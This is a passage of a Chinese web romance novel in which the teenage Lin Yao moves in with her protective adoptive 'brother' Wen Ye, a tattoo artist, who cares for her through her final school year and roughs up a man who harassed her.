闻野攒着的眉没松:“那就等我多攒几件一起洗,我又不是只有两件衣服,没这件不洗就没得穿了,病还没好就想着干活,你能不能注意点自己身体?” 林杳并不觉得洗两件衣服算什么活,跟着赵美莺搬走的这段时间,洗衣洗碗,每晚麻将散场后打扫满地烟头瓜子皮的地板,这些都归她做。 还会总被赵美莺说眼里没活,不知道看事做事。 又针对他前一句回道:“烧已经退了,不信你摸摸看。” 说罢,她向他仰起脑袋,给他摸额头,小脸要多乖有多乖。 闻野垂在身侧的手抬到一半又放下,喉结动了动:“出来,跟我先去测个体温 。” 家里原来十多年都没体温计这玩意了,还是去年冬天,小姑娘烧了一晚,他带她去医院挂完吊针后不久后去药店买的。 一直放着,连盒子都还没拆。 此刻闻野取出体温计,递给林杳,侧过身方便她好放进咯吱窝里夹着,自己低头拿着那说明书仔细看起来。 五分钟后,林杳拿出体温计,先看了一眼:“35度7,我就说烧退了嘛。” 闻野也接过看了眼,确认无误才放心地装好,把一大早出去买的一袋子洗漱用品拎给她:“洗完出来吃早餐。” 又是五分钟过去,林杳从厕所出来,餐桌上已经摆好了早餐,她在他旁边坐下,吃起他买回来的蒸饺和粥,闻野放慢了速度,两人差不多同时吃完。 她刚搁下筷子,听见他开口:“要不要先搬过来住?” 林杳偏过头看他。 闻野眼中难以避免地闪过一丝厌恶:“那种地方你别回去了,你可以先搬过来,反正这儿又不缺你住的房间,等九月份开学了,你可以选择是继续住着,还是向学校申请宿舍。” 林杳也确实一点不想回去了,考虑了一小会儿就决定了:“那我付你房租,水电什么的也可以和你平摊。” 闻野被气笑了,眼尾挑起睨着她:“合着我昨晚说的话你愣是一个字都不记得了?” 昨晚两人其实没说多少话。 林杳眨了眨眼的功夫,就想起他在那个五金店门口找到她后,骨骼分明的大手紧紧握着她的胳膊,说的那些。 当时他那沙哑认真的嗓音,在此刻仿佛依然清晰地响在耳边。 林杳心尖似又被烫过了下,还没想好怎么说,就见少年露出若有所思的表情,反问道:“还是说你不想把我当作哥哥?” “当然不是!”她立刻否认。 “那不就成了。”闻野看着她一瞬睁圆的眼,舌尖抵了抵一侧脸颊,笑了:“房间本来空着也是空着,你住进来还热闹点,免得我每天晚上回家都空荡的,没一点人气,水费电费又没多,算来算去还不够麻烦的。” “那等晚上我陪你过去一趟,把你的东西收拾了。”他一锤定音道。 “噢好。”她乖乖应,也忘了问为什么还要等到晚上去,反正就是听他就对了。 闻野有客人预约上午九点的一单,林杳也跟着他一起到店里去。 两个多月她没过去写作业,她之前的那些东西,像是小桌子上的台灯,椅子上的粉色坐垫,甚至连她喝水的那个小熊**的卡通搪瓷杯,都一个不差地放在原处。 甚至连冰箱,一拉开,就见一排码得整齐的梦龙。 “呐,自己拿着玩,我大概两个小时弄完,再去吃饭。”闻野毫不在乎隐私一般,直接就把手机解锁了给她。 林杳昨晚就趿着一双拖鞋跑出来,手机没拿,于是接过他的手机,戴着耳机,找了一部美国电影看,边啃着雪糕边看。 快十二点时,那客人走了,闻野带着她去附近的小餐馆吃饭。 吃完闻野打车,两人去了一家大型超市。 枕头,床 单,夏天的薄被子,还有洗发水沐浴露各种必须的生活物品,一圈逛下来,闻野推着的购物车塞得满满当当。 林杳此刻身无分文,自然也是闻野付的钱。 几大袋东西都被闻野抢先拎上了,只剩下个蓬松绵软的枕头给她抱着。 一出了超市,她便很自觉道:“买这些东西的钱,等我回去拿银行卡取了就还给你。” 这一年多来赵美莺没给过她一分钱,生活费,学校的资料费,还有其他一些开支,花的都是她卡里从前攒下的零用钱,只剩三四千了。 下午这一趟采购就花了七八百。 以后的衣食住行,样样要花钱。林杳默默在心里盘算着,想以后在奶茶店,便利店这样的地方找个周日能做的兼职。 闻野知道她的经济状况,压根就没打算要她的钱,一句不用刚要脱口而出,一偏头,就看见小姑娘微微红着,写满不好意思的脸。 他话锋一转,改了口:“这些钱当然是要你还的,但没让你现在还。” 林杳一愣,不太明白地看着他。 闻野正了正神色:“你看啊,我已经毕业,一直开着的纹身店生意还行,钱花完了可以再赚,而你还在读书,现在最重要的任务就是读书,没必要为钱的事纠结分心,等你先考上个好大学,毕业了再找个好工资,钱肯定大把大把的有。到时候你再用工资还我。” 他怕她还觉得不好意思,又补充一句:“我以后用你这儿的这些钱就当是存在你这里了,零存整取,还免得我瞎花了。” 林杳听他长篇大论地一通绕,还真有点被绕进去了,她抿了抿唇,认真保证道:“那会一笔笔记清楚的,等我以后工作赚了钱,我加倍还你。” “行啊。”闻野扯唇,懒洋洋地应了声,反正以后的事以后再说。 买完东西回家,新买的床单,被套那些被闻野放进洗衣机里过了遍水,林杳想过去晾,被他赶回去继续看电视。 闻野端着个盆子走到阳台,一件件抖开晾好,兜里的手机响了声。 他拿出来看:【阿野,是北坡路的那个嘉苑小区吧,我和俩兄弟半小时后到那儿哈】 闻野把空盆放回原处,走到坐沙发前的林杳面前:“我出去一趟,大概一两小时后回,晚上想吃什么,我带回来。” 林杳拿起遥控把电视声调小,仰着脸看他:“家里有什么菜吗,我来做吧,这个暑假也学着做了几道菜。” 她不想什么除了给他添麻烦一无是处,也想能为他做点什么。 闻野还记得她之前,煎个蛋都害怕得拿着锅铲站得远远的样子,眉心不自觉地一蹙。 学会做几道菜,胳膊上不知被溅过多少热油。 “家里没菜,连根葱都没有,而且这么热的天,进什么厨房,也不怕热晕了。晚上我们就吃黄焖鸡米饭,行不?” 林杳乖乖点头。 闻野唇角勾了勾:“等我回了,吃了饭就去那边收拾你的东西。” 第24章 第二十四章 就得娇着养 闻野过去时, 杜彪和他那两个兄弟已经到小区门口了,正在树荫下抽着烟。 三人长得人高马大的,赤着的胳膊上大片纹身, 社会气很足, 从他们这边经过的路人都特意离得远远的, 生怕被他们瞅上。 见到闻野,三人朝他走了过来。 闻野将来时买的一条烟递给为首的杜彪, 黄鹤楼1916,八百多一条。 杜彪一把推了回去,佯怒道:“你这是干嘛啊,见外了啊。” 出来赚钱得早,和社会上的人交道得多,哪怕也才十九岁,人情世故这方面闻野还是拿捏很透。 他和杜彪几个只是认识的关系,难得他开一次口,对方答应是答应了,但答应和尽心之间还是有差距的。 闻野又把这条烟递过去,扯了扯唇:“这大热天的, 彪哥愿意跑一趟帮我这个忙我就挺感谢的,不表示一下, 我心里过意不去。” 他这一番话说得客气又周到, 杜彪听完接了, 放进一旁停着的那辆面包车里, 脸上笑容明显扩大几分。 老小区, 有门卫也跟摆设似的,没人管。 走到三单元楼下,闻野告诉他们具体是哪一户, 杜彪就和他那两个小弟大摇大摆地上去了。 赵美莺的麻将室还开着,听到砰砰砰的砸门声,心里嘀咕着谁啊,走过去开门。 一见门外三个凶神恶煞,身上还纹着大片纹身的男人,她有些发愣。 还没反应过来,杜彪一把推开她,大步流星地走进去,恶声恶气道:“谁允许你们在居民楼里开麻将馆的?天天吵得他妈的要死,老子觉都睡不好!” 说着,他一把掀翻一桌麻将,另外两个小弟也紧随其后,把另一桌也掀了,几十张麻将啪啦地全砸在地上。 办完了事,他和兄弟俩晃悠悠地下楼,看到还等着的闻野:“你回店里不,我一脚把你捎回去吧。” “不用,我还有点事要处理。” 杜彪走后,那些打麻将的也不敢再打了,闻野又等了会儿,就听到楼道里传来十多道的脚步声。 他黑眸看过去,视线从一个个下来的人脸上看去,几秒后,定在一个尖嘴猴腮,左嘴角右上方一颗痣的男人身上。 和林杳描述的特征一样,再看那手,还用纱布包着,是这王八犊子没跑了。 运气还挺好的,一次就蹲到了,不用他再费工夫去找了。 周勇在杜彪闯进来之前差点就能胡牌了,正心里暗叹自己倒霉点背时,抬眼就看见一个少年径直朝他走过来。 短发,棱角瘦削冷硬,看他的眼神里浸着股森冷。 没说一句多余的废话,闻野抬脚就往他膝盖猛踹一脚,周勇完全状况外,一下摔倒在地,愤怒和疼痛一齐袭来。 “我操……”他挣扎着爬起来,脏话还没飙完,脸上又挨了一记重拳。 还没走的人都被这一幕惊呆了,其中有两个是和周勇相熟的,被少年那股狠戾和身手吓到,想帮忙又不太敢,就这么犹豫地围观到最后。 周勇被揍得鼻青脸肿,在地上弓着腰抱头,连连求饶。 闻野最后一脚踩在他还缠着纱布的手上,重重地反复碾过,男人发出杀猪一样的惨烈叫声。 闻野面无表情地听着,他哀叫完了,冰冷的声音从喉咙里滚出。 “管好你这只猪蹄子,别往不该碰的地方碰。”- 等闻野走后,林杳看了会儿电视就去睡午觉,一下睡到快五点,这段时间家里天天打麻将到凌晨一点多,有时甚至通宵,她根本休息不好。 醒了口渴起来,她下楼倒水喝,门这时也开了。 闻野拎着两份鸡公煲和半个无籽西瓜回来,他将东西都搁到桌上,去洗了手后又拿了个碗和两个勺子出来。 西瓜中间那部分被他一勺勺挖出来,满满的一碗,放到林杳旁边。 “西瓜中间是最甜的部分,你别都给我了呀。” 闻野拿另只勺子挖着剩下的吃,语调闲散:“你又不是不知道,我就不爱吃特甜的。” 他买回的西瓜脆甜多汁,林杳吃了几口,把碗放进冰箱,又吃起那份鸡公煲,吃完,外面天色有些暗下来,两人出门。 林杳提议就坐公交过去,有直达的,比较省钱。 闻野视线低下,看了眼少女白嫩嫩的脚趾:“这个点下班高峰期,你还穿着拖鞋,谁要不小心踩你一脚,疼死你。” 林杳脚趾下意识缩了缩。 她倒是完全没想到这点,闻野还是比她要细心得多。 两人打了辆出租过去,到那儿时六点半,闻野敲了两下门,赵美莺经过下午那一遭,还心有戚戚的,怕是那几个混混又上门找事。 她先只把门开了一条小缝,看见站外面的林杳,憋了一下午的火气冲她发去:“你脾气够大的啊,打你一巴掌就跑出去一夜,有本事你永远别回来啊!” 那 门还只保持着一条缝的大小,似乎不打算让她进去。 林杳平静道:“我回来收拾东西就走。” 这话大大出乎赵美莺意料。 她正又要发作,闻野的身影从被门遮挡着的另一侧走出来,拧着眉不耐道:“让开,快点。” 赵美莺意识到她是来真格的,又不愿意了:“不行,你是我生的,没我的允许你哪儿也不能去!” 林杳不懂她不喜欢自己,为什么还不让她走,闻野却是知道原因的,甚至也早料到会有这么一出。 有次他听到赵美莺和人打电话,那语气好不得意,说自己一分钱没花,白得了个女儿,以后有养老的了,还能收笔彩礼。 那嘴脸贪婪又令人恶心。 闻野从鼻子里哼出一声冷笑:“领养手续早八百年前都办完了,就算是你生的,从法律关系上来说她和你也没有一毛钱的关系了,以后对你更没有赡养的义务,你现在拦着她不让她走,可以按非法拘留报警抓你懂么。” 赵美莺就小学文凭,对法律也是知之甚少,本来觉得有领养协议又如何,血缘关系是剪不断的啊。 听完这一番话她还没缓过来,就见少年懒洋洋掀了掀眼皮,黑眸里带着冷刺,痞里痞气地又来了句:“还是说你不怕以后天天有人来砸场子,让你这麻将室彻底开不下去了。” 赵美莺:“!” 她就说自己在这儿住了两个多月,从没在楼道里碰到那三个凶神恶煞的混混,原来是他搞的鬼! 然而她工作都辞了,要是麻将馆也没了,那她不得喝西北风去?于是再不甘愿,她也只能咬着牙拖妥协。 林杳去房间收拾行李,闻野坐在客厅的沙发等着,等她出来了,一手拉过她的行李箱,一手接过她装满书本的重书包,“哐”一声甩上门,和小姑娘一起离开这破地方。 等再回到家,林杳像是彻底挣脱了锁链的鸟,心里松快又自在,她去冰箱里拿出剩着的那碗西瓜,冰镇过后口感更佳了。 闻野一回来就进了他的房间,一直到她去洗澡了也没出来,不知忙什么。 等她洗完也吹干了头发,刚拉开行李箱准备把东西归置好,闻野走了过来,也是很讲礼貌地先敲了两下门,站在外边没进来。 林杳转头望过去,见他肌肉结实的手臂里抱着个大纸箱,里面装满了他的物品。 闻言:“我房间差不多收拾好了,我们换间房住。” 他房里空调是去年他买的,制冷效果更好,关键是有独立的卫生间。 林杳一愣,忙摇头:“你让我住过来就很好了,要是再住你的房间,那就是鸠占鹊巢了。” 闻野挑眉,哼笑了一声:“你知道鸠占鹊巢,那你知道什么叫尊老爱幼么?” 林杳睁圆了眼,一脸迷茫,“老”和“幼”都和她不沾边啊。 闻野强词夺理地解释:“你比我年纪小,我们之间你就是幼的那个,就该爱护你。” 少年舌尖抵了抵脸颊,挺混不吝的模样,说出的话却根正苗红:“这可是几千年的传统美德啊,总不能到了我们这儿就断了吧?” 林杳:“……” 看着小姑娘张了张嘴,想辩驳又无话可说的模样,闻野勾着唇催促着道:“别磨蹭了,我还想快点搬完睡觉呢。” 说完装模作样地打了个哈欠:“快点啊,我真困了。” 林杳于是只能和他换了房间。 说实话,换房间对她来说的确方便很多,最显而易见的一点就是她夜里起来上厕所时,不用再麻烦地把内衣穿上。 八月底,彭一凡和路宇安都要去上大专了,两人难兄难弟,高考依然稳定发挥,一个298,一个299。 报道前夕搞了个送别宴,说得正式,其实就是在烧烤店最后搓一顿,闻野去之前问了林杳要不要一起过去吃。 “我就不去了。”林杳想了想还是拒绝道,免得三个男生中间多她一个女生,说什么都不自在。 闻野也不勉强:“行,那我给你带点回来当宵夜,想吃什么?” 林杳仰着脸看他:“都行呀。” 闻野笑了声:“还挺好养活。” 常去的那家夜市大排档,各种荤的素的整了一桌,一小时不到,七七八八吃的不剩什么了,话也说得差不多了。 彭一凡摸出新买的苹果4,玩起植物大战僵尸。虽然只考了个大专,好歹还有书读,再加上他一个暑假在家狗腿和死乞白赖地求,终于让他爸妈给他买了这款新上市不久的手机。 路宇安就没这个待遇了,他爸妈对他一直怀着不切实际的幻想,还希望他能考个大学,大专的录取通知一下来,二老的大学梦算是彻底梦碎。 别说买手机了,他现在连买个耳机的资格都没有,还得拿着他那小破翻盖机继续用。 彭一凡见他眼睛都羡慕地直了,大方地拿给他:“给,爸爸借你玩会儿,别太感动了。” 抬头又见闻野回来,彭一凡真心建议道:“野哥你那手机不也快换了么,换个苹果的,手感超好,完全不卡,各种小游戏还好玩。” 三人中经济实力最好的就是闻野了,早早就能自己赚钱,想买什么买什么,简直爽歪歪。 闻野去给林杳单独点了几样新鲜的,他懒散地往红色的塑料椅上一坐,拿出用了两年的手机。 “又没坏,换什么。” 他还打算攒钱给家里铺个地暖,不管小姑娘之后是住校还是继续住这儿,寒假总是要过来住的,安个地暖,免得她裹成个粽子还是冷得缩手缩脚。 算了算,材料加人工费大几千,电费也得大几千。 要是这房子一只不拆,他还想攒钱装修一下,住的地方不算好,可他能尽力让她住得舒服点。 “对了,”他想起来个事,对彭一凡道:“回去你帮我问问阿姨,鱼香肉丝要怎么做才能酸甜入味。” 彭一凡以为自己听错了,一脸震惊:“野哥你怎么好好地想不开学做菜了?” 闻野神色淡定:“林杳喜欢吃这道菜,前几天我在外面小餐馆买回来,她吃了之后不太舒服,我怀疑是食物不干净,想想也是,不能总在这种苍蝇馆子吃。我照着百度上的菜谱做了试试,感觉味道不太好。” 彭一凡和路安宇听得目瞪口呆,他们自个儿平时连厨房都不愿意进一下,更难想象他们野哥洗手作羹汤的样子。 彭一凡试图提醒:“野哥你给人当哥,又不是给人当爸。” 路宇安也深有同感地点头:“就是,野哥你这也太娇生惯养了,何况这妹妹还是个没血缘的。” 闻野掀起眼皮睨过他俩,嗤了声,傲慢的语气中又透着十足的理所当然:“血缘关系算个锤子。” “老子的妹妹,就得娇着养。” 第25章 第二十五章 荒唐至极的念头 九月份开学, 林杳步入高三。 一开学她向班主任申请住宿,然而三中条件有限,宿舍楼就是学校后从老旧的教职工家属楼匀出的几层, 六人间, 住得满满当当, 一个都塞不进了。 她回家后告诉了闻野。 闻野压着上扬的唇:“那就继续在这儿住着呗,一人间总比六人挤一起舒坦。” 林杳本意是不想麻烦他, 但对于这个结果,她好像又不怎么失望,心里反倒还升起微妙的,说不清的一点开心。 她继续住这儿,日子在忙碌的学习中有条不紊地一天天往下。 闻野嫌弃外边的小餐馆地沟油,不干净,不愿意再去外边买来吃,他学起做饭来,从一道鱼香肉丝炒得不是酸了就是甜了,不出一个月,一桌子菜都信手捏来。 林杳开始了带饭的日常。 闻野炒完菜单独拨出两份, 一 份她晚自习回来吃,一份装饭盒里留着她带, 第二天中午她拿着去门卫室排队加热。 班上很多同学也开始从家里带饭, 热了之后拿到教室吃, 毕竟学业紧张, 家长都想孩子吃得健康有营养。 林杳打开饭盒, 诱人的香味漫出来。 拎着饭盒从她身旁经过的同学都忍不住往她饭盒瞄两眼,一看又糖醋小排又是小鸡腿,荤素搭配, 还有个煎鸡蛋。 对方羡慕地感慨:“杳杳你妈妈给你带的饭菜好丰富啊。” “不是,”林杳眼角弯了弯,“是我哥做的。” 那同学愣了愣,教室其他听到这对话也是一愣。 林杳她哥,那不是闻野么? 他会做饭?那么个冷拽要命的少年,说他拿刀砍人他们相信,拿着菜刀切菜做饭?不可能不可能! 林杳应该还有别的哥。 天气还没冷下来,闻野就给家的卧室和客厅铺了地暖。 等冬天来临时,家里就没了那种沁入骨髓的湿冷感,林杳穿一件长袖就很暖和了,写作业时手脚也不会冻着。 周日这天,彭思嘉打着来找林杳学习的旗号从家里溜出来,一进门就大呼小叫道:“啊啊啊和你家比起来,我家里简直是冰窖!” 林杳找了双棉拖鞋给她。 闻野端着洗好的草莓从客厅走出来,放茶几后甩了甩手上的水,也要换鞋出门去纹身店了。 天气太冷,上午没生意,他一般下午两点多再去,上午就在家把饭菜做了。 “草莓记得吃,今天客人预约的那单纹身要做很久,我晚上不回来吃了,你饿了自己把饭菜热着吃。吃完饭的碗筷放厨房别动,我回来再洗。” 最后那句还带了几分强硬的口吻。 林杳软声应好。 彭思嘉听得一愣一愣的。 这些话怎么那么像阿爸上班前叮嘱女儿,还是那种老来得女,对闺女特别特别宠的那种老父亲。 林杳端起那碗草莓,喊了彭思嘉一声,她回过神跟着上楼。 卧室面积比客厅小,铺了地暖后更暖和了,彭思嘉脱掉了身上厚得要死的棉服,哗啦啦的从书包里倒出一堆花花绿绿的言情杂志。 她趴床上,边吃草莓边看小说,快活似神仙。 林杳写完一张卷子,转头去看郝思嘉,她还看得津津有味,不知看到什么情节,脸都激动得通红了。 她好心提醒道:“你和叔叔阿姨说来找我学习,总不能回去时一个字都没写吧。” 彭思嘉一听是这么个道理,恋恋不舍放下看得正上头的霸总强制爱,从一堆小说里扒拉出唯一带来的一本数学练习册,坐到林杳旁边跟她一起写。 一小半靠自己写,剩下的凭借林杳给她讲,终于也把数学作业写完了。 彭思琪只把这本练习册重新装回书包,剩下的那些小说杂志理了理,摞在林杳的书桌上。 她双手合十,拜托地看着林杳:“这些书我能先放你这儿嘛,自从期中考之后我爸妈对我的学习就特上心,我怕哪天他们翻我床底下把我这些珍藏的宝贝都翻出来扔了。” 林杳点头:“行啊。” “呜呜呜杳杳简直是我的救命恩人,你学得无聊的时候也可以看看,保证带感又刺激!” 闻野晚上十点才多回来,先撸起袖子去厨房把碗洗了,又从冰箱里拿出湾仔码头的云吞,放了两人的量进锅里,煮的时候顺手泡了热牛奶。 他自己从前糙着过,饥一顿饱一顿都没事,地沟油也不怕,但现在他是有妹妹的人,还是高三生,样样都得精细着来。 把两碗云吞和牛奶端上餐桌,他上去敲门。 “下来吃宵夜了。” 林杳拉开门:“有份告家长书明天要交,你帮我签个字吧。” 小姑娘搬来之后,闻野就再也没踏进这间房过,有什么事都是站门口说,给与她百分百的隐私和安全感。 这会儿进来,他眼神也规矩地没有乱晃乱瞄,径直走到桌子前。 桌子上摊着张告家长书,闻野拿起来看了看,说是为了提高学生学习效率,每晚八点半的晚自习后额外增设一小时,学生可以留下来写作业,每晚都有老师坐镇答疑。 这是自愿的,学生可以选择留或者不留,他看见林杳勾的是不留的选项,顺口问了句为什么。 林杳如实道: “我在学校和在家的学校效率没区别,而且家里更暖和。” 闻野勾了勾唇,看来这地暖安得挺值。 他拿起笔,刷刷签下自己的名字:“三中老师应该没不认识我的,你们班主任看到你这签名肯定马上找你谈话。” 他对自己名声很有自知之明,她那么乖,成绩又好,跟他扯上关系,三中哪个老师知道了都得吓一跳。 “我就说你是我哥哥呀。” 林杳不假思索地说,较之两人小巷子里初遇时那声哥哥喊得生疏别扭,此刻她朝他向上仰着小脸,笑容清甜,嗓音也是软糯糯的,尽显着亲昵。 闻野喉结一阵滚动,视线不自在地从她那张乖惨了的小脸挪开,一下就瞄到桌子侧边摆得高高一摞的言情小说。 封面花哨浮夸,名字也够雷人的。 闻野皱起眉:“这你买的?好看吗?” “是思嘉放我这儿的,她怕她爸爸妈妈看到,暂时放我这儿,我还没看呢,不知道好不好看。” 闻野拿起这本随便翻了页,刚巧是下午让彭思琪看得满脸激动的强制爱片段。 粗粗扫过去,“下腹一紧”长驱直入““嘤咛喘息”让闻野脸色黑如锅底。 妈的,这什么淫。秽色情刊物。 林杳见他神色怪异,好奇地刚凑过脑袋想看看,他飞快把小说一阖。 林杳:“?” 闻野沉起脸:“不许看,不是什么好玩意儿,以后有空就多看看名著。” 想了想还是不放心,他干脆直接把桌上那一摞书都抱起来:“明天我拿去还给彭一凡。” 彭一凡每周五都回家,这学期周一上午又没课,每次一个懒觉睡到十二点,等中午吃完了饭再慢悠悠回学校。 结果今天七点钟不到,彭一凡睡得正熟,一通来电铃声生生把他吵醒,他眼都没睁开,就听那头沉沉的嗓音。 “有事找你,下楼。” 彭一凡听出是谁,不知道闻野一大早找他是什么事,但一定很重要,他衣服都没换,裹着一套睡衣就着急忙慌地下去了。 “野哥,啥事啊?”他紧张兮兮地问。 闻野把手里拎着的一袋子书交给他,耷拉着的眼皮和深拧的眉无不透出极大的不悦。 “彭思琪的,你还给她,让她以后别把这些不良小说放林杳这儿,别带坏了我妹妹。” 严肃说完,人扬长而去,留彭一凡一脸懵逼地站在北风里。 什么情况啊这是? 他们野哥现在不仅下厨做饭,还防着小姑娘被不良小说带坏,这心操得,真是又当哥又当爹的! 当天晚上,林杳一放学回家就被闻野塞了两本新买的名著,一本《活着》,一本《红楼梦》。 “有空多看看这个。” 林杳:“……” 时间匆匆,转眼间又是新的一年。 除夕这天林杳和闻野去超市大采购,买了好多吃的和装饰,回来后贴对联挂红彤彤的小灯笼,哪怕家里只有他们俩个,也布置很有节日的喜庆。 到了晚上,彭一凡带着彭思嘉,和路宇安一起来闻野这儿来守岁。 彭一凡提议搞个刺激的,今年就不看春晚了,来部惊悚片,比如那部最有名的德州电锯杀人狂。 路安宇:“同意!” 彭思嘉有点怕,但又好奇想看。 闻野本来想反对,见林杳小脸上有点跃跃欲试的表情,意外地挑了挑眉。 他记得她胆子挺小的,上回去玩那什么密室,看到那些恐怖主题的介绍都脸色发白。 “看这种片子也不怕啊?”他笑着问。 林杳坚定地摇头:“惊悚片是没有鬼的。” “……” 行吧,不怕杀人狂,怕压根不存在的鬼。 彭一凡又 跑回家拿了光碟来,为了增强效果,路宇安去把灯客厅灯都关了,几个人挤坐在沙发上。 然而从开始起,路安宇的手机就没消停过,一直滴滴答答地响个不停。 彭一凡身子歪过去使劲拿眼瞅他手机,被满屏的宝贝亲爱的恶心出一层鸡皮疙瘩。 “你恋爱至于粘糊成这样吗,吃了个有点酸草莓都要说一声,能不能专心点看电影啊,气氛都被你破坏了。” 路宇安边飞快打字回了女朋友:我和朋友看电影,等会儿再和宝宝贝儿聊。 又语气炫耀地冲彭一凡道:“谈恋爱就是这样的,巴不得每一分每一秒都和对方腻在一起,你个单身狗是不会懂的。” “那是你,野哥就绝对不会像你这么腻歪。”彭一凡底气十足地反驳。 “Nonono。”路宇安伸出根食指摇了摇,“你别看野哥现在冷淡又不近女色,但爱情来了,百炼钢都能给你化成绕指柔。” 他又举例道:“不然你看野哥现在对林杳这个妹妹都这么好,等以后有了女朋友,那不得疼得跟什么心肝宝贝似的。” 闻野掀了掀眼皮,淡漠地睨他俩一眼:“我看你们是都皮痒了是吧。” 彭一凡和路安宇识相地闭嘴了。 林杳一直盯着电脑没出声,耳朵却下竖着听了个全。 等到闻野哪天谈了恋爱,他就会像路安宇说的那样,想和对方分分秒秒黏在一起,也会比对她更好的,去对他的女朋友。 她思绪飘忽起来,心里不知怎么有些空落落的,电影里讲什么根本没看进脑子里。 耳边突然响起彭思嘉的惊叫声,紧接着是彭一凡的大呼小叫:“靠靠靠彭思嘉你撒手!!!我骨头都要给你捏碎了!!” 彭思嘉紧抓着她哥手不放:“呜呜呜那人家害怕嘛!” 林杳回神,只见屏幕里的男人戴着个古怪丑陋的面具,手里拿着一把巨大的电锯,眼神狰狞瘆人。 还怔愣着,眼前凭空出现一只大掌,虚虚遮着她的眼,挡住她的视线。 林杳朝那只手的主人看去,闻野唇角勾着浅笑:“怎么,吓傻了?” 又将胳膊给她递来:“怕就抓着我。” 电脑的幽蓝光线映在他脸上,五官愈发硬朗深邃,那双漆黑望着她的眼噙着笑,薄唇也浅浅勾着,淡化了原本冷漠的长相,看着很温柔。 林杳眼睫眨了眨,心里并不害怕,却还是鬼使神差般的,握住他伸来的手。 少女手心软绵绵的,哪怕已经是第二次被她牵了,闻野还是脊背微僵了下,有种被细微电流过了遍的酥感。 只面上不动声色的,稍沙哑的声音似漫不经心道:“使劲捏也没事,我不怕疼。” 黑暗中,林杳脸颊发热,心里突然冒出个荒唐至极,又自私的不得了的念头。 她不想让闻野对其他女生更好。 第26章 第二十六章 摔到了他身上 初七, 林杳寒假还没过完。 她出去买点生活用品,看见好几辆装着砖和石灰的货车驶进巷子,好几家都在搭房子, 有的是往楼上加盖一层, 有的则把门前又围了个小院。 小巷子里灰尘漫天飞, 建筑垃圾杂乱无序地到处堆着,本就不太好的环境被弄得更糟糕。 晚上闻野从纹身店里回来, 两人一块儿吃饭时,她想到这事儿,觉得奇怪就问了:“怎么大家一下子都开始搭房子了啊?” 闻野把一碗煮得嫩滑,撒了葱花香油的鸡蛋羹摆到离她近的地方,才在她对面坐下:“有消息说这一块地马上要卖了,他们现在这么做,是想以后拆迁时多算点面积,也能多拿些钱。” 林杳之前从没接触过这样的事,但隐隐感觉好像不太对:“那这样做是可以的吗?” “当然不行了。”闻野嗤笑了声,顺手将一只剥好的虾放她碗里:“拆迁办又不是傻的,这些人抱着占便宜的侥幸心理, 最后都得按违规建筑拆了,白忙活一场。” 隔天晚上八点多, 林杳一个人在房里写作业, 听到敲门声后下楼, 但没直接开门。 闻野和她反复说过, 这种老破小区既没安保又没门禁, 强盗都能大张旗鼓地进来,溜门撬锁的事件时有发生,让她一个人在家锁好门, 也不要随便给陌生人开门。 她隔着门,问对方是谁。 “我们是厂里房改办的,过来测量各家住房面积。” 听着是道男人的声音,谨慎起见,林杳还是先给闻野打过去一通电话,和他说了情况。 闻野:“你先别开门,我马上回来。” 林杳只能抱歉地让对方先去对门家统计,十分钟之后,闻野赶回来,这才将外面的一男一女迎进来。 让人家久等了,林杳挺不好意思的,立刻给他们倒了两杯温水。 男人喝了口水,打趣地开了句玩笑:“我还以为是多小的年纪呢,还得等哥哥回来才开门。” 林杳被说得脸颊一红,有些羞。 闻野完全不觉得有什么不对,他挑眉,骄傲的语气显而易见:“我妹妹长得这么漂亮,外面坏人又多,可不得小心着点。” 两人闻言,视线落回林杳脸上,一下又觉还真挑不出什么理来。 少女黛眉杏眼,气质干净,当真一个美人胚子。 当然了,站她身旁的少年长得也丝毫不差,就是五官太过寡冷凌厉。 女人忍不住感慨:“你们兄妹长得一点不像,感情倒真挺好。” 两人拿着工具把家里面积量出来,在登记表上纪录:153.72。 之前几次传这片儿要拆,都不过是空穴来风,没一点儿影,这回倒像是动了几分真格。 从前闻野满不在乎,在哪儿住不是住呢,不过是睡觉的地方,但现在他却也盼着能赶紧拆了。 一百五十平,按照房价现在八千来算,怎么着也有个百来万,到时候买个两室一厅应该没问题,还是那种有电梯,小区环境好的房子。 不像现在住的这破地,线路老化,动不动停电,几次小姑娘洗澡时突然没了热水。还有排水系统也烂透了,一下大雨就积水,她一双小白鞋踩出去一圈都变得脏兮兮的- 今年开学得早,初十过完林杳就去学校了。 是高三最后一个学期了,黑板上挂起倒计时的牌子,教室后的黑板报也隔三岔五地写励志标语。 从“以梦为马,不负韶华”到“生前何必久睡,死后必定长眠”,每当有同学上课犯困,老师就让他站起来把这些话大声念十遍。 林杳成绩一直稳定,但到了最后这一阶段她也不敢有丝毫松懈,每晚又多学半个小时,到十二半才睡。 她忙着学习时,闻野也没闲着,每天顾着店里的生意,买了菜谱学各种补脑提神的汤,还报了个刺青设计大赛的名。 他纯粹是冲着奖金去的,而且要是拿了好名次,他以后纹身的时价能往上加,客源也更多。 想给小姑娘更好的生活,钱当然是赚得越多越好。 这次刺青比赛分为传统,school,水墨,图腾和字体五大组,先在刺青论坛报名,提交设计手稿,过了海选之后在进行初赛和复赛。 初赛在三月底,现场在假皮上完成手稿,四月中旬举行复赛,这回是在自愿当承载者的真人身上纹,六小时的总时长,当场出结果。 闻野最后拿到了传统组的第一名,成绩宣布的时候,纹身界的众人多少都露出震惊。 一是他年纪是所有参赛者最小的,二是他平时不混这个圈子,门店也小,开在个犄角旮旯的地方,属于从岌岌无名一下子拔得头筹了。 在看到他的作品后那些震惊才都消失,他在承载者后背纹的是彘,山海经里的神兽之一,其状如虎。 他厉害的画工尽数体 现,色彩运用得也恰如其分,各种细节之处惟妙惟肖,还完美将将其庄严和力量感都体现了出来。 比赛结束后有人提议难得这么多同行碰一块儿,不如一块儿去聚聚,大多数人都挺愿意的,少数不去的也说是因为实在有事走不开,至少面上的功夫做足了。 唯有手臂扎着个睁眼关公的,从比赛结果宣布之后就把不服和不爽顶在脸上的男人,一句寒暄的话也没说,摔上他那辆奥迪车门就走了。 摔门走之前还不屑地朝闻野睇了一眼。 闻野看到了那目光,毫无所谓,他记得那男人是和一组的第二名,和他一样也是纹的中式传统,叫段什么来着。 “走走走,别理他,我跟你再谈谈来我店的事。”另一个脖子纹着猫头鹰的男人主动地搭上他肩。 男人名叫宋坷,在平城开着两家挺大的纹身店,也是这次school组的冠军,他店里的纹身师大多是和他一样做美式或者日式传统的,就差闻野这么个擅长中式传统的,这种既要有扎实的画工,又要对传统文化有一定了解,把本土的元素和现代风格结合。 